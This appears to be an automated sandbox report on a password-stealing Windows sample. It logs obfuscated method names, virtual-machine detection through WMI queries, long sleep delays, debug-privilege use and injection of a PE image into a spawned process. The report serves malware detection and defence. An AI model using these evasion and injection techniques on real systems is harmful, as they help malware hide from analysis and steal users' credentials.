Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, OW4YfnoSj5wlFPuOx9.cs	High entropy of concatenated method names: 'ckiuvw9CA', 'uWcK8kCIV', 'M6HQsse9D', 'VtWhoZINl', 'njCptoWCp', 'PCqMcD6ZM', 'z70ibP5P3jyyjrdSGQ', 'qOMp2aoIpu8X48OW3P', 'USk9NhbRq', 'Vc0vo8Tk6'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, SRgaAAwhAm8UliGP0b.cs	High entropy of concatenated method names: 'sqC07wcMMx', 'EMu0HQQ7LY', 'IYc0uOecGh', 'DRF0KZbPFI', 'lnW03CaJhq', 'GX60QVtWlB', 'Wa40hDCeI4', 'zbu0TxYuL8', 'cCO0pYMy7y', 'l680MtQlvn'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, Hc9U8kz21TDVdAQLYU.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sX55Gxg0nm', 'zIl5xP4L9E', 'j1o5y6uV6X', 'R5S5CK401h', 'zSi59Yeor6', 'oRq55DRO7f', 'REF5vvajxY'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, lTWl2xpfefJy2fW2xt.cs	High entropy of concatenated method names: 'ECBBKhmuRV', 'h3jBQFaSKS', 'OJcBTR8XhO', 'XqtBpepUlW', 'dHoBxg5Shp', 'TqnByajJSt', 'T6nBCQnDW3', 'x69B9FbNgB', 'NevB53u1Kh', 'a7jBvRfg7J'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, ePE3KA8VIr13I1M4c5.cs	High entropy of concatenated method names: 'evEUNWT4mX', 'o65UWYGcr1', 'vihUaL7DHR', 'BDjUBbOC7m', 'RhYUFhPPyX', 'pgRURSj5PR', 'Ed1U0DFPXW', 'tR1U8CvAE3', 'aKKUPZOhbE', 'rr7UgLxbVK'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, mWClDI2yB8UHgKXbtY.cs	High entropy of concatenated method names: 'yVBRNohyD4', 'kj4RacwYgb', 'b3ARFE1ZxB', 'LYXR0BYuXu', 'L4nR86PlFl', 'zQrFLvCA1Z', 'B87Fe9ts6L', 'D6yFiB2csA', 'DERFqbpqKm', 'up4F6jGMon'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, MB7b0NfyoxYV0SQiFl.cs	High entropy of concatenated method names: 'vgGxtOmQqW', 'DSOxs3Emlx', 'QyGxfBFIJA', 'mKMxD0NfS1', 'zR1xYk8QDK', 'BHdxOoviK6', 'TpfxImDk25', 'WamxXewxBA', 'mInxJBeWp2', 'qAUx1eAEJf'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, NkHH8aaHieshbOGjZ0.cs	High entropy of concatenated method names: 'Dispose', 'B6G46TNFqZ', 'bwwoYRubkX', 'Buipp4ULiD', 'hW94jVVgOt', 'UDd4zbvcOu', 'ProcessDialogKey', 'FplobXYwLM', 'gffo4vGl1L', 'lOoooCuUZb'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, quUZbOjZItL0Y37eit.cs	High entropy of concatenated method names: 'XwN54c4e6D', 'buL5UJG8aW', 'mo65n6hC91', 'z0y5WbMDZG', 'pBm5a0M5oC', 'Tby5Fi3VyZ', 'TAg5RTL5IE', 'LbA9iREX9V', 'zyl9qwMjYH', 'XIx96eCwvt'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, XYYqf4n73hAkgG0EWi.cs	High entropy of concatenated method names: 'hd440ZvWos', 'RY548WcGlw', 'ofe4gfJy2f', 'f2x4ctOCxN', 'vlL4xbfgWC', 'vDI4yyB8UH', 'm83J9YwjZiyV7qyNfO', 'XTFUGO2Cra9GustkTx', 'VOK440mLli', 'OoZ4U6CxwO'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, ICxNAXMVLRDUxllLbf.cs	High entropy of concatenated method names: 'FuRF3PhaAw', 'CjqFh17KjM', 'tO3BOXul7h', 'X7CBIsA1v8', 'UgsBXm41x4', 'u8YBJHknoF', 'B1IB1yPutJ', 'NjyBZaNEkP', 'AWVBwd3mX8', 'G9TBt72lTL'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, aZvWosTDY5WcGlwOCb.cs	High entropy of concatenated method names: 'YcZafvJC9c', 'JZQaDeT0ga', 'BobaVvDQ7T', 'YEfamsrSRX', 'lsFaLqway4', 'IDeaewX0ix', 'sR3aiRQmgP', 'jg5aqHwMdI', 'T08a6Mgiot', 'wqwajxgwrE'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, n0d30tkUjmZhkVdp3W.cs	High entropy of concatenated method names: 'JtBGTrVcUT', 'm4IGpwDKto', 'VPfG2DWTRn', 'R3pGYnuy5G', 'Gn9GIhU9LC', 'HQoGXQ4xFr', 'dkyG1Q93Mx', 'myJGZODWtI', 'RqdGtAE4i9', 'flaGSZFDQq'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, sDodVE1Sj2ONgcKV3f.cs	High entropy of concatenated method names: 'x2r0W1BIeF', 'r5h0Bs23Xj', 'sGH0Rn6A00', 'b6eRjCMo8E', 'zAARzehCLN', 'w100bYZNDN', 'LuV04R5Pkv', 'Ape0oSAT3b', 'v810UEBRJt', 'OiF0nf70ne'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, f9VVgOqtLDdbvcOuMp.cs	High entropy of concatenated method names: 'QRa9Wi60Ok', 'YU49aBLkyd', 'YfT9BcxY8w', 'gek9FBQn8m', 'CeU9Rbwc0j', 'cDD90YFvb7', 'WXh98ZJcHv', 'V6N9PWoUZx', 'TAB9gxlKgC', 'hdA9clSoVb'

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: 1330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: 3010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: 5010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: 8750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: 9750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: 9930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: A930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: 1870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: 32B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Memory allocated: 31C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Window / User API: threadDelayed 597

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe TID: 5680	Thread sleep time: -3689348814741908s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe TID: 7084	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3283905345.00000000016A7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Memory written: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

